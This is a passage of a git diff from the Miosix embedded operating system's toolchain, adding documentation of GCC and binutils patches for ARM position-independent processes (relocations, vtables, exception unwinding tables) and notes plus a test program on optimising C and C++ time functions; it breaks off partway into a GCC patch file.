#include "xcoffout.h" /* Needed for external data declarations. */ +@@ -6675,7 +6677,21 @@ + /* C and C++ don't allow different variables to share the same + location. -fmerge-all-constants allows even that (at the + expense of not conforming). */ +- ret = SECCAT_RODATA; ++ { ++ //TODO: #ifdef _MIOSIX does not work in this context ++ /* ++ * This code matches the if(contains_pointers_p(type)) in ++ * miosix_processes_ref_demux() in arm.c. It disallows pointer-containing ++ * data structures to be const in Miosix processes, as they are always ++ * accessed from the GOT. ++ */ ++ tree type = TREE_TYPE(d); ++ assert(type != NULL && "Miosix: TREE_TYPE is null"); ++ //printf("--- %d %d\n",flag_pic,contains_pointers_p(type)); ++ //debug_tree(d); ++ if(flag_pic && contains_pointers_p(type)) ret = SECCAT_DATA; ++ else ret = SECCAT_RODATA; ++ } + else if (DECL_INITIAL (decl) + && TREE_CODE (DECL_INITIAL (decl)) == STRING_CST) + ret = SECCAT_RODATA_MERGE_STR_INIT; +``` + +But it was found out that this patch failed to work when arrays were concerned. +An example found in newlib that caused segfaults is in `dtoa.c` when accessing the `tinytens` and `bigtens` arrays defined in `mprec.c`. + +A simpler testcase can be made but it requires two translation units to prevent folding masking the issue. + +``` +// stuff.h +extern const int ptr[]; + +// stuff.c +const int ptr[] = { 0x12345678 }; + +// main.c +// do something that accesses ptr + +``` + +This example and the one in libc do cause the appearance of GOT entries which point to .rodata. + +Instead of chasing every case where we need to promote something from .rodata to .data, a patch was made in the OS kernel relocation code: +if the relocation target address is not greater than DATA_BASE (which was 0x10000000 and later as part of these patch was changed to 0x40000000), it means that the relocation points to .rodata, and in that case the relocation is done starting from the CODE base address, not from the RAM base address. + +This fix made obsolete the idea of forcedly promoting pointer-containing data structures to RAM, so the `varasm.c` patch above was removed. This choice saves RAM, as now + +* pointer containing global data structures that need no relocation stay in .rodata (saving RAM) but are accessed from the GOT anyway as-if they were in RAM. The OS relocation code patch makes this work, and there is a small but unavoidable RAM size penalty for the GOT entries, which is however unavoidable as we need an uniform way to access them without seeing their definition. + +* pointer containing global data structures that do need relocations get promoted to RAM (necessary) and are accessed from the GOT (necessary, as being in RAM, PC-relative addressing won't work). + +TL;DR: in pointer containing data structures, sometimes we go through the GOT even if the data structure we're accessing is in .rodata. This slight inefficiency is however necessary for uniformity in accessing said data structures. + + + + +## The problem with vtables (FIXED) + +An example with `cout << "Hello world" << endl;` fails with a segfault during static construction of the cout object. The problem arises during a `dynamic_cast`. + +``` +Process 1 terminated due to a fault +* Code base address was 0x64017268 +* Data base address was 0x64100000 +* MPU region 6 0x64000000-0x64100000 r-x +* MPU region 7 0x64100000-0x64104000 rw- +* Attempted data access @ 0x74017818 (PC was 0x6403a610) +Process 1 terminated +Process segfaulted +``` + +Trying to understand where the wrong address goes `0x74017818 - 0x64017268 = 0x100005b0` and this address points to + +``` + .data.rel.ro._ZTVSt5ctypeIcE + 0x00000000100005b0 0x30 libstdc++.a(ctype.o) + 0x00000000100005b0 _ZTVSt5ctypeIcE +``` + +and `_ZTVSt5ctypeIcE` is `vtable for std::ctype`. + +Further testing with a simpler program fails in the same way + +``` +#include + +class Base +{ +public: + virtual void print() const { puts("I'm Base"); } + virtual ~Base() {} +}; + +class Derived : public Base +{ +public: + virtual void print() const { puts("I'm Derived"); } +}; + +void __attribute__((noinline)) call(Base *base) +{ + base->print(); +} + +Base *__attribute__((noinline)) mkbase() +{ + return new Base; +} + +Derived *__attribute__((noinline)) mkderived() +{ + return new Derived; +} + +int main() +{ + volatile int i=0; + Base *base = i==0 ? mkderived() : mkbase(); + call(base); + delete base; +} +``` + +It appears that the issue occurs in the constructor + +``` +0000ead4 <_Z9mkderivedv>: +_Z9mkderivedv(): + ead4: b508 push {r3, lr} + ead6: 2004 movs r0, #4 + ead8: f000 f946 bl ed68 <_Znwj> + eadc: 4b02 ldr r3, [pc, #8] ; (eae8 <_Z9mkderivedv+0x14>) + eade: 447b add r3, pc + eae0: 3308 adds r3, #8 + eae2: 6003 str r3, [r0, #0] + eae4: bd08 pop {r3, pc} + eae6: bf00 nop + eae8: 0fff162e svceq 0x00ff162e +``` + +where the object memory is allocated, and the vptr is set to point to the vtable using PC-relative addressing even though the vtable is in RAM, as it's in .dat.rel.ro + +The vtable is considered const even though it contains pointers becauses it passes the `decl_readonly_section` check, which is done before the `contains_pointers_p` check. + +``` +(symbol_ref/i:SI ("_ZTV4Base") [flags 0x82] ) + + unsigned type_6 SI + size + unit-size + align:32 warn_if_not_align:0 symtab:0 alias-set 4 canonical-type 0x7ff427aea498 + pointer_to_this > + BLK + size + unit-size + align:32 warn_if_not_align:0 symtab:0 alias-set 4 canonical-type 0x7ff42781d498 + domain + type_6 SI size unit-size + align:32 warn_if_not_align:0 symtab:0 alias-set -1 canonical-type 0x7ff42781d3f0 precision:32 min max > + pointer_to_this > + readonly addressable used public static tree_1 tree_2 tree_5 ignored weak read virtual decl_5 BLK vtable.cpp:2:7 size unit-size + user align:32 warn_if_not_align:0 context initial + + (mem/u/c:BLK (symbol_ref/i:SI ("_ZTV4Base") [flags 0x82] ) [4 _ZTV4Base+0 S16 A32])> +constant (decl_readonly_section) +``` + +As the vtable contains constant pointers (that need to be initialized to within .text to point to the member functions), relocations need to be done. +The solution is to move the `contains_pointers_p` check first. + + + + +## The problem with R_ARM_REL32 relocations (FIXED) + +Trying to compile C++ programs that do not use exceptions causes compilation to fail. An example as simple as this triggers the issue: + +``` +#include + +using namespace std; + +int main() +{ + printf("Hello world\n"); + return 0; +} +``` + +which fails with: + +``` +ld: libgcc.a(unwind-arm.o): relocation R_ARM_REL32 against external or undefined symbol `__cxa_call_unexpected' can not be used when making a PIE executable; recompile with -fPIC +libgcc.a(unwind-arm.o): in function `__gnu_unwind_pr_common': +unwind-arm-common.inc:824:(.text+0x744): dangerous relocation: unsupported relocation +``` + +Compiling with `-fno-exceptions` or adding code that throws/catches exceptions fixes the issue, but code that does not throw should not fail to compile. + +The problem is in `unwind-arm-common.inc` which declares a few functions prototypes as `__attribute__((weak))` that it then calls. Moreover, in one case it checkes whether the pointer to the `__gnu_Unwind_Find_exidix` function is not null, to see if the function exists in the (runtime) linked binary. + +The fix consists in patching `unwind-arm-common.inc` so that the function prototypes are no longer weak, and removing completely the check **and** then call to `__gnu_Unwind_Find_exidix` as it's not needed in Miosix. + + + + +## The problem with unwinding exception tables (FIXED) + +A simple program that throws an exception would segfault + +``` +#include + +void __attribute__((noinline)) f() +{ + throw 1; +} + +int main() try { + puts("in"); + f(); + puts("out"); + return 0; +} catch(int& e) { + puts("exc"); + return e; +} +``` + +in `__cxa_type_match` + +``` +0000eee4 <__cxa_type_match>: +[...] +gcc-9.2.0/libstdc++-v3/libsupc++/eh_arm.cc:86 + ef08: 6823 ldr r3, [r4, #0] +``` + +The fault happens when dereferencing a pointer, but the pointer does not get computed in this function, but passed as a parameter. +The caller is `__gxx_personality_v0` + +``` +line 576 of eh_personality.cc + + while (1) + { + p = action_record; + p = read_sleb128 (p, &ar_filter); + read_sleb128 (p, &ar_disp); + + if (ar_filter == 0) + { + // Zero filter values are cleanups. + saw_cleanup = true; + } + else if (ar_filter > 0) + { + // Positive filter values are handlers. + catch_type = get_ttype_entry (&info, ar_filter); + + // Null catch type is a catch-all handler; we can catch foreign + // exceptions with this. Otherwise we must match types. + if (! catch_type + || (throw_type + && get_adjusted_ptr (catch_type, throw_type, + &thrown_ptr))) +``` + +The `get_adjusted_ptr` is a macro to the `__cxa_type_match` code that is faulting. +The corrupted variable is `catch_type`, and is returned by `get_ttype_entry`, which in turn gets it by calling `read_encoded_value_with_base` in `libgcc/unwind-pe.h`. + +The `read_encoded_value_with_base` is called with the following parameters: +``` +unsigned char encoding = 0x10 +_Unwind_Ptr base = 0 +const unsigned char *p = 0x64027198 - 0x64017268 = 0xff30 +``` + +and at memory location 0xff30 in the elf file there is the .ARM.extab section, so this code is retrieving a pointer from the exception unwinding tables. +So, summing up, the unwind tables are coded assuming that it's possible to construct addresses to the typeinfo structures (which are in .data.rel.ro, thus in RAM) through PC-relative addressing which is not possible. + +From the same file we also find another useful function: + +``` +static _Unwind_Ptr +base_of_encoded_value (unsigned char encoding, struct _Unwind_Context *context) +{ + if (encoding == DW_EH_PE_omit) + return 0; + + switch (encoding & 0x70) + { + case DW_EH_PE_absptr: + case DW_EH_PE_pcrel: + case DW_EH_PE_aligned: + return 0; + + case DW_EH_PE_textrel: + return _Unwind_GetTextRelBase (context); + case DW_EH_PE_datarel: + return _Unwind_GetDataRelBase (context); + case DW_EH_PE_funcrel: + return _Unwind_GetRegionStart (context); + } + __gxx_abort (); +} +``` + +This function computes the `base` parameter the the previous function, and returns zero since encoding is 0x10 or `DW_EH_PE_pcrel`. + +However, `_Unwind_GetDataRelBase()` is in `libgcc/config/arm/pr-support.c` + +``` +/* These two should never be used. */ + +_Unwind_Ptr +_Unwind_GetDataRelBase (_Unwind_Context *context __attribute__ ((unused))) +{ + abort (); +} +``` + +great, so that's unimplemented... + +One last bit we need to get the whole picture: how the compiler selects which encoding to use: `cd gcc/config/arm && grep -R 'DW_EH_PE_'` + +which found the list of constants: + +``` +#define DW_EH_PE_absptr 0x00 + +#define DW_EH_PE_pcrel 0x10 +#define DW_EH_PE_textrel 0x20 +#define DW_EH_PE_datarel 0x30 +#define DW_EH_PE_funcrel 0x40 +#define DW_EH_PE_aligned 0x50 + +#define DW_EH_PE_indirect 0x80 +``` + +and this file `gcc/config/arm/arm.h` which says + +``` +#ifndef ARM_TARGET2_DWARF_FORMAT +#define ARM_TARGET2_DWARF_FORMAT DW_EH_PE_pcrel +#endif + +/* ttype entries (the only interesting data references used) + use TARGET2 relocations. */ +#define ASM_PREFERRED_EH_DATA_FORMAT(code, data) \ + (((code) == 0 && (data) == 1 && ARM_UNWIND_INFO) ? ARM_TARGET2_DWARF_FORMAT \ + : DW_EH_PE_absptr) +``` + +And this is actually documented! + +`https://gcc.gnu.org/onlinedocs/gccint/Exception-Handling.html` + +`ASM_PREFERRED_EH_DATA_FORMAT (code, global)` + +So, despite the macro implementation in `arm.h` calls the parameters `code` and `data`, they are actually `code` and `global`: + +`code`: + +* 0 for data +* 1 for code labels +* 2 for function pointers + +while `global` is true if the symbol may be affected by dynamic relocations. + +From my understanding, the encoding is absptr unless we're accessing data and dynamic relocations may occur (ARM_UNWIND_INFO is the constant 1 so it's always true), in that case it's pcrel. + +A possible solution that was tested is: + +* `#define ARM_TARGET2_DWARF_FORMAT DW_EH_PE_datarel` +* implement `_Unwind_GetDataRelBase`. + +This is the patch that does the first thing: + +``` +diff -ruN gcc-9.2.0-old/gcc/config/arm/arm.h gcc-9.2.0/gcc/config/arm/arm.h +--- gcc-9.2.0-old/gcc/config/arm/arm.h 2019-04-23 12:03:41.000000000 +0200 ++++ gcc-9.2.0/gcc/config/arm/arm.h 2020-07-14 09:14:20.611848691 +0200 +@@ -878,7 +878,12 @@ + #define EH_RETURN_STACKADJ_RTX gen_rtx_REG (SImode, ARM_EH_STACKADJ_REGNUM) + + #ifndef ARM_TARGET2_DWARF_FORMAT +-#define ARM_TARGET2_DWARF_FORMAT DW_EH_PE_pcrel ++//TODO: #ifdef _MIOSIX does not work in this context ++//Produce exception unwinding tables that work with Miosix processes ++//see processes-patch.md, section "The problem with unwinding exception tables" ++//we want pcrel as usual for the Miosix kernel, and datarel for processes (pic) ++#define ARM_TARGET2_DWARF_FORMAT (flag_pic ? DW_EH_PE_datarel : DW_EH_PE_pcrel) ++//#define ARM_TARGET2_DWARF_FORMAT DW_EH_PE_pcrel + #endif + + /* ttype entries (the only interesting data references used) +``` + +This is the patch that does the second: + +``` +diff -ruN gcc-9.2.0-old/libgcc/config/arm/pr-support.c gcc-9.2.0/libgcc/config/arm/pr-support.c +--- gcc-9.2.0-old/libgcc/config/arm/pr-support.c 2019-04-23 12:03:41.000000000 +0200 ++++ gcc-9.2.0/libgcc/config/arm/pr-support.c 2020-07-14 09:14:20.615848615 +0200 +@@ -376,7 +376,14 @@ + _Unwind_Ptr + _Unwind_GetDataRelBase (_Unwind_Context *context __attribute__ ((unused))) + { +- abort (); ++//TODO: #ifdef _MIOSIX does not work in this context ++//Support exception unwinding that work with Miosix processes ++//see processes-patch.md, section "The problem with unwinding exception tables" ++//NOTE: this code gets linked (even though it never gets used) also in the kernel, ++//so the symbol name we coose here must also exist in the kernel linker scripts ++ extern char _data asm("_data"); //defined in the linker script ++ return &_data; ++// abort (); + } + + _Unwind_Ptr +``` + +And this just adds a print to see what happens: + +``` +diff -ruN gcc-9.2.0-old/gcc/except.c gcc-9.2.0/gcc/except.c +--- gcc-9.2.0-old/gcc/except.c 2019-03-11 14:58:44.000000000 +0100 ++++ gcc-9.2.0/gcc/except.c 2020-07-15 09:55:53.382783507 +0200 +@@ -3022,6 +3022,11 @@ + else + { + tt_format = ASM_PREFERRED_EH_DATA_FORMAT (/*code=*/0, /*global=*/1); ++ // This is here for debugging the change to ARM_TARGET2_DWARF_FORMAT ++ // in Miosix processes: when compiling C++ code that throws and catches ++ // exceptions, it should print 0x10 (DW_EH_PE_pcrel) when compiling the ++ // kernel (non-pic) and 0x30 (DW_EH_PE_datarel) when compiling processes ++ printf("\n\n-- called 0x%x --\n\n",tt_format); + if (HAVE_AS_LEB128) + ASM_GENERATE_INTERNAL_LABEL (ttype_label, + section ? "LLSDATTC" : "LLSDATT", +``` + + +But these patch don't work. With those changes throwing from a process still fails as before. +Even though at compile-time the DW_EH_PE_datarel value seems to be selected and the printf patch prints 0x30 (the call to `ASM_PREFERRED_EH_DATA_FORMAT` is in `output_one_function_exception_table` in `gcc/except.c` which is where the printf patch above is), `read_encoded_value_with_base` at runtime still gets called with 0x10 (pcrel)... + +More digging found this kludge in `eh_personality.cc`: + +``` +#if _GLIBCXX_OVERRIDE_TTYPE_ENCODING + /* Older ARM EABI toolchains set this value incorrectly, so use a + hardcoded OS-specific format. */ + info->ttype_encoding = _GLIBCXX_OVERRIDE_TTYPE_ENCODING; +#endif +``` + +Yes, despite we're wasting bytes in the binary to encode the format of pointer entries, they serve nothing as they are overridden by a compile-time kludge that forces the runtime library to ignore it... + +`https://gcc.gnu.org/legacy-ml/gcc-patches/2011-09/msg00765.html` + +The `#define _GLIBCXX_OVERRIDE_TTYPE_ENCODING` occurs in `libgcc/config/arm/unwind-arm.h`, +in the middle of the `_Unwind_decode_typeinfo_ptr` function (if you need to make a kludge, do it well...). + +Ok, more patching to remove the kludge: + +``` +diff -ruN gcc-9.2.0-old/libgcc/config/arm/unwind-arm.h gcc-9.2.0/libgcc/config/arm/unwind-arm.h +--- gcc-9.2.0-old/libgcc/config/arm/unwind-arm.h 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libgcc/config/arm/unwind-arm.h 2020-07-14 09:14:20.615848615 +0200 +@@ -57,7 +57,14 @@ + #elif defined(__symbian__) || defined(__uClinux__) + #define _GLIBCXX_OVERRIDE_TTYPE_ENCODING (DW_EH_PE_absptr) + /* Absolute pointer. Nothing more to do. */ ++#elif defined(_MIOSIX) ++ //DO NOT DEFINE _GLIBCXX_OVERRIDE_TTYPE_ENCODING, we don't want that kludge ++ //as the encoding could be either pc-relative (kernel) or data-relative (processes) ++ //see processes-patch.md ++ //This relies on base_of_encoded_value() setting base to 0 for DW_EH_PE_pcrel ++ tmp += base ? base : ptr; + #else ++#error FIXME deleteme added just in case + #define _GLIBCXX_OVERRIDE_TTYPE_ENCODING (DW_EH_PE_pcrel) + /* Pc-relative pointer. */ + tmp += ptr; +``` + +but this does not work either... + +At runtime, in the process, `read_encoded_value_with_base` is called with the following parameters: +``` +unsigned char encoding = 0x30 +_Unwind_Ptr base = 0x64100000 +const unsigned char *p = 0x640271c4 +``` + +The first two parameters are correct, the third one, is not. + +This time the encoding is the correct value. Also the base is ok, so we have the data base address. However, p points to where the offset is stored in the unwinding tables. And dereferencing that location we find 0x0fff023c. This is wrong, as the target we want is at 0x10000188, and 0x64100000 + 0x0fff023c = 0x740f023c which is the faulting address causing the segfault and not the target address. + +So while everything is set up for data-relative, the offset that gets encoded is still pc-relative... + +And it is here when things get complicated, as we need to llok deep into what's encoded in the unwinding tables. + +When compiling the simple `main.cpp` that throws at the beginning of this chapter, GCC produces the following tables, and the unwind tables end up in the binary, with a one-to-one match, (after the ULEB128 encoding is understood `https://en.wikipedia.org/wiki/LEB128`): + + +``` + .ARM.extab.text.startup.main + 0x000000000000ff30 0x20 main.o + + 0ff28 79f5ff7f b0b0a800 ........y....... + 0ff38 ff301501 0c06080e 011c042a 002e0400 .0.........*.... + 0ff48 00010000 3c02ff0f + + .global __gxx_personality_v0 + .personality __gxx_personality_v0 + .handlerdata + .align 2 + 79f5ff7f b0b0a800 = personality? +.LLSDA2: + .byte 0xff ff + .byte 0x30 30 + .uleb128 .LLSDATT2-.LLSDATTD2 15 +.LLSDATTD2: + .byte 0x1 01 + .uleb128 .LLSDACSE2-.LLSDACSB2 0c +.LLSDACSB2: + .uleb128 .LEHB0-.LFB2 06 + .uleb128 .LEHE0-.LEHB0 08 + .uleb128 .L9-.LFB2 0e + .uleb128 0x1 01 + .uleb128 .LEHB1-.LFB2 1c + .uleb128 .LEHE1-.LEHB1 04 + .uleb128 .L10-.LFB2 2a + .uleb128 0 00 + .uleb128 .LEHB2-.LFB2 2e + .uleb128 .LEHE2-.LEHB2 04 + .uleb128 0 00 + .uleb128 0 00 +.LLSDACSE2: + .byte 0x1 01 + .byte 0 00 + .align 2 00 + .word _ZTIi(TARGET2) 3c02ff0f (0x0fff023c) +``` + +So the problematic offset is right at the end, 0x0fff023c. However, GCC is not producing the address, it just outputs `.word _ZTIi(TARGET2)`. In this declaration, `_ZTIi` is the target symbol we want to access, and `(TARGET2)` a relocation type. + +Who prints this `.word _ZTIi(TARGET2)` in GCC? We're back to our friend, the `output_one_function_exception_table` in `gcc/except.c`. Just like the address is last in the exception tables, also the code that prints is last in the function, + +``` + if (targetm.arm_eabi_unwinder) + { + tree type; + for (i = 0; + vec_safe_iterate (cfun->eh->ehspec_data.arm_eabi, i, &type); ++i) + output_ttype (type, tt_format, tt_format_size); + } +``` + +The job is done by the `output_ttype`, but not exactly, as this function contains a + +``` + /* Allow the target to override the type table entry format. */ + if (targetm.asm_out.ttype (value)) + return; +``` + +and the ARM target has this function pointer non-null, and thus overrides the default `output_ttype` behavior. Following the code we get back to `arm.c`. + +``` +static bool +arm_output_ttype (rtx x) +{ + fputs ("\t.word\t", asm_out_file); + output_addr_const (asm_out_file, x); + /* Use special relocations for symbol references. */ + if (!CONST_INT_P (x)) + fputs ("(TARGET2)", asm_out_file); + fputc ('\n', asm_out_file); + + return TRUE; +} +``` + +and this is the function that prints the symbol name and `(TARGET2)`. + +adding an `if(flag_pic) return FALSE;` at the beginning of this function just affords an internal compiler error, apparently as by returning false we get back to `output_ttype` which calls `dw2_asm_output_encoded_addr_rtx` that contains a + +``` +#ifdef ASM_OUTPUT_DWARF_DATAREL + case DW_EH_PE_datarel: + gcc_assert (GET_CODE (addr) == SYMBOL_REF); + ASM_OUTPUT_DWARF_DATAREL (asm_out_file, size, XSTR (addr, 0)); + break; +#endif +``` + +and none is provided (sigh). + +Ok, backtracking, batching and trying to patch `arm_output_ttype` to produce another relocation type. But which type? The "ELF for the ARM Architecture" document availbale online seems to hint that ` R_ARM_BASE_ABS` is the right one, as it's a static relocation where the target is accessed as B(S) + A, which seems right. + + +``` +diff -ruN gcc-9.2.0-old/gcc/config/arm/arm.c gcc-9.2.0/gcc/config/arm/arm.c +--- gcc-9.2.0-old/gcc/config/arm/arm.c 2019-04-23 12:03:41.000000000 +0200 ++++ gcc-9.2.0/gcc/config/arm/arm.c 2020-07-15 23:37:34.457141163 +0200 +@@ -27847,7 +28036,23 @@ + output_addr_const (asm_out_file, x); + /* Use special relocations for symbol references. */ + if (!CONST_INT_P (x)) ++ { ++ //TODO: #ifdef _MIOSIX does not work in this context ++ //When generation C++ exception unwinding tables, DO generate data-relative ++ //entries instead of overriding them with pc-relative relocations ++ //See processes-patch.md ++ if(flag_pic) ++ { ++ //Use R_ARM_RELATIVE to generate a data-relative static relocation ++ //see "ELF for the ARM AELF for the ARM Architecture" ++ printf("using R_ARM_RELATIVE relocation for exception unwinding tables\n"); ++ fputs ("(BASE_ABS)", asm_out_file); ++ } else { ++ //Produce the default R_ARM_TARGET2 static relocation that is supposed ++ //to be platform specific but is actually pc-relative + fputs ("(TARGET2)", asm_out_file); ++ } ++ } + fputc ('\n', asm_out_file); + + return TRUE; +``` + +And here we find more trouble: the gnu assember does not support the relocation we want being input from assembly files... + +Ok, backtracking again, we'll have to make TARGET2 relocations work for our platform. GNU ld has an option, `--target2=` that allows to override how it handles target2 relocations. Great! +By grepping the sources (couldn't find what strings are accepted as type) it looks like the options are `abs`, `rel`, `got-rel`. The default behavior we're seeing is `rel`. `got-rel` seems promising on paper, but it produces garbage for unknown reasons. `abs` is best actually, as it produces the absolute address of the symbol, like 0x10000178. Of course, by just subtracting DATA_BASE, we get the data-relative offset we want. Maybe we could patch the unwinder to subtract DATA_BASE, but it looks like there's a problem. + +Miosix does not load binaries compiled with `--target2=abs`, and the reason is simple, other than producing the absolute value, the linker produces a dynamic relocation to fix it up at runtime, as we're in PIE/PIC mode, and for the first time that's NOT what we want, as relocations in a readonly sections can't be made. However, by temporarily commenting out that check in the kernel, adding a check to skip this wrong relocation and patching the binary by hand by removing 0x10000000 to that address, the process works and throws correctly with the readonly unwinding tables. + +Now, we just need a non-kludge way to do this. + +For this, there's no escape to patching binutils too. The patch first adds the `--target2=mx-data-rel` option and maps it to a brand new static relocation type, `R_ARM_MIOSIXPROC_TGT2`, that is basically the same as `R_ARM_ABS32` (the one behind `--target2=abs`) except it does not leave dynamic relocations behind and subtracts DATA_BASE), making a true data-rel static relocation encoding the offset of the symbol from the data base address. + +And that, finally, worked. + + + + +## Caveat fot future patchers + +If you do an `arm-miosix-eaby-objdump -Dslx main.bin` (of course before it's stripped and mx-postlinked), the start of the disassembly is something like + +``` +Program Header: + LOAD off 0x00000098 vaddr 0x00000098 paddr 0x00000098 align 2**3 + filesz 0x00004fcc memsz 0x00004fcc flags r-x + LOAD off 0x00005068 vaddr 0x40000000 paddr 0x40000000 align 2**3 + filesz 0x00000640 memsz 0x00000840 flags rw- + DYNAMIC off 0x000050f8 vaddr 0x40000090 paddr 0x40000090 align 2**2 + filesz 0x00000048 memsz 0x00000048 flags rw- + +Dynamic Section: + DEBUG 0x00000000 + REL 0x00004564 + RELSZ 0x00000b00 + RELENT 0x00000008 + FLAGS_1 0x08000000 + RELCOUNT 0x00000001 +private flags = 5000200: [Version5 EABI] [soft-float ABI] +``` + +which is more useful than it looks, as it allows to see if the binary is good looking. Sometimes innocuous-looking changes in the linker script such as renaming an output section trigger special behavior in the linker with strange side effects, such as adding useless entries to dynamic (such as if you call an output section `.init_array`), adding useless nested segments (such as calling an output section `.ARM.exidx`), or making the text segment writable, which then Miosix will of course fail to load as it violates `W^X`. So do check those when making changes! + + + + + +## Addendum + +How to recompile GCC only (not the stdlibs) for quick experiments + +``` +INSTALL_DIR=`pwd`/gcc/arm-miosix-eabi +LIB_DIR=`pwd`/lib +PATH=$INSTALL_DIR/bin:$PATH +cd objdir +make all-gcc +make install-gcc +``` diff --git a/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/time-functions-optimizations-testcases.cpp b/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/time-functions-optimizations-testcases.cpp new file mode 100644 index 000000000..492d43345 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/time-functions-optimizations-testcases.cpp @@ -0,0 +1,50 @@ + +#include +#include +#include +#include +#include +#include "miosix.h" + +using namespace std; +using namespace miosix; + +mutex m; +condition_variable cv; + +void __attribute__((noinline)) f1() +{ + auto t=chrono::steady_clock::now(); + iprintf("%lld\n",t.time_since_epoch().count()); +} + +void __attribute__((noinline)) f2() +{ + auto t=chrono::steady_clock::now(); + t+=100ms; + this_thread::sleep_until(t); +} + +void __attribute__((noinline)) f3() +{ + unique_lock l(m); + if(cv.wait_for(l,100ms)!=cv_status::timeout) iprintf("Error: no timeout\n"); +} + +void __attribute__((noinline)) f4() +{ + unique_lock l(m); + auto t=chrono::steady_clock::now(); + if(cv.wait_until(l,t+100ms)!=cv_status::timeout) iprintf("Error: no timeout\n"); +} + +int main() +{ + while(getchar()) + { + f1(); + f2(); + f3(); + f4(); + } +} diff --git a/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/time-functions-optimizations.txt b/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/time-functions-optimizations.txt new file mode 100644 index 000000000..ac61aed43 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/patches/doc/time-functions-optimizations.txt @@ -0,0 +1,82 @@ + +With Miosix being a real-time operating system, time management plays a central +role in the OS design. The kernel internally keeps track of time as a signed +64 bit number counting in nanoseconds, and uses high-resolution hardware timers +to provide high resolution timestamping, sleeping and timeout operations. + +This file discusses how the internal kernel APIs are mapped to standard C/C++. + +C time APIs +=========== +POSIX provides reasonable high resolution time APIs in the form of: +- clock_gettime +- clock_nanosleep +- pthread_cond_timedwait +- pthread_cond_clockwait +all of which support nanosecond timestamps. + +Unfortunately, all of them represent time as a struct timespec which splits +time in two variables, one for seconds and one for nanoseconds. +Doing the conversion from a timespec to a single 64 bit timestamp is rather +efficient (two multiplications, assuming the architecture has a 32x32->64bit +multiplier), but the reverse conversion requires 64 bit division, which the +kernel optimizes with the __aeabi_ldivmod intrinsic. However, it still takes +a non-negligible amount of time (~200 cycles). + +No improvement is possible as this design decision is part of the public API +specified by POSIX. + +The only patch required to newlib was the addition of the pthread_cond_clockwait +function prototype that was missing, and is very useful as a replacement for +the bad design of the pthread_cond_timedwait which specified the timeout in +the CLOCK_REALTIME, thus being subject to clock jumps such as when daylight +saving time changes or when the time is changed by the user. + +C++ time APIs +============= +C++11 introduced std::chrono as a generic way to represent and interact with +time. Unlike for the C API, C++ did a very good design allowing efficient +implementations, but the libstdc++ implementation contains many notable +shortcomings that had to be patched to be acceptable for real-time use: + +1) this_thread::sleep_until() in bits/this_thread_sleep.h is implemented in +terms of sleep_for() by converting the absolute time in a realtive time. +This is both inefficient as it pays the overhead of getting the current time +and the wakeup time may accumulate clock skew (think if a context switch +occurs after the current time is measured but before the sleep takes effect). +It was patched to call clock_nanosleep(*, TIMER_ABSTIME). +Also, this_thread::sleep_for() which was implemented in terms of nanosleep has +been patched to call clock_nanosleep() since this is the preferred Miosix API +for sleeping. + +2) condition_variable::wait_until() in std/condition_variable was problematic +in many ways. +In GCC 9.2.0 it did not support pthread_cond_clockwait, using instead the ugly +workaround of computing the difference between steady_clock and system_clock to +convert the timeout from CLOCK_MONOTONIC to CLOCK_REALTIME. This wasn't just +slow as it called clock_gettime twice unnecessarily, but opened the possibility +of a toctou bug if the time changed (again due to a daylight saving time update +or if time is changed by the user) between the conversion and the call to +pthread_cond_timedwait. This was fixed by relying on pthread_cond_clockwait, but +the old code is still there and the check for pthread_cond_clockwait is done by +autotools when libstdc++ is built defining _GLIBCXX_USE_PTHREAD_COND_CLOCKWAIT +in bits/c++config.h which on Miosix should always be defined. However, the +autotools check program linked with -lpthread that does not exist on Linux so it +failed, requiring a small patch to libstdc++'s configure. +The second problem is that despite both pthread_cond_timedwait and +pthread_cond_clockwait return ETIMEDOUT in case of timeout, libstdc++'s code +would ignore the return value and opt instead to check for timeout by comparing +the timeout timestamp with the current time, causing again another unneeded +call to clock_gettime. This required patching bits/std_mutex.h which defines +the implementation class __condvar to forward the return code, as well as +std::condition_variable itself. + +With this change done, now std::chrono is as efficient as the C API. +However, it could in theory be optimized further, as it looks like std::chrono +internally represents time as a single 64 bit number, just like Miosix. +Since std::chrono is currently implemented in terms of the C API though, every +call to the OS needs to split time in two variables to fill a struct timespec. +In theory, the libstdc++ code could be further patched to rely on the Miosix +API directly, shaving ~200 clock cycles per call, but care must be taken +to make the code compile both for kernelspace applications and userspace ones, +so for now this is left as future work. diff --git a/tools/compiler/gcc-15.2.0-mp4.2/patches/gcc.patch b/tools/compiler/gcc-15.2.0-mp4.2/patches/gcc.patch new file mode 100644 index 000000000..7d244ddb5 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/patches/gcc.patch @@ -0,0 +1,1929 @@ +diff -ruN gcc-15.2.0-old/config/gthr.m4 gcc-15.2.0/config/gthr.m4 +--- gcc-15.2.0-old/config/gthr.m4 2025-08-08 08:51:39.867612457 +0200 ++++ gcc-15.2.0/config/gthr.m4 2025-12-17 09:45:25.938367038 +0100 +@@ -15,6 +15,7 @@ + dce) thread_header=config/pa/gthr-dce.h ;; + gcn) thread_header=config/gcn/gthr-gcn.h ;; + lynx) thread_header=config/gthr-lynx.h ;; ++ miosix) thread_header=config/gthr-miosix.h ;; + mipssde) thread_header=config/mips/gthr-mipssde.h ;; + posix) thread_header=gthr-posix.h ;; + rtems) thread_header=config/gthr-rtems.h ;; +diff -ruN gcc-15.2.0-old/gcc/builtins.cc gcc-15.2.0/gcc/builtins.cc +--- gcc-15.2.0-old/gcc/builtins.cc 2025-08-08 08:51:40.392346771 +0200 ++++ gcc-15.2.0/gcc/builtins.cc 2025-12-17 09:45:25.942367038 +0100 +@@ -6629,12 +6629,21 @@ + static rtx + expand_builtin_sync_lock_release (machine_mode mode, tree exp) + { +- rtx mem; +- +- /* Expand the operands. */ +- mem = get_builtin_sync_mem (CALL_EXPR_ARG (exp, 0), mode); +- +- return expand_atomic_store (mem, const0_rtx, MEMMODEL_SYNC_RELEASE, true); ++ /* Patch set ID: atomics-fix */ ++ /* Miosix patch begin: Generate the atomic store the long way because ++ just calling expand_atomic_store does not guarantee we generate any code */ ++ unsigned int bytes_log2 = exact_log2 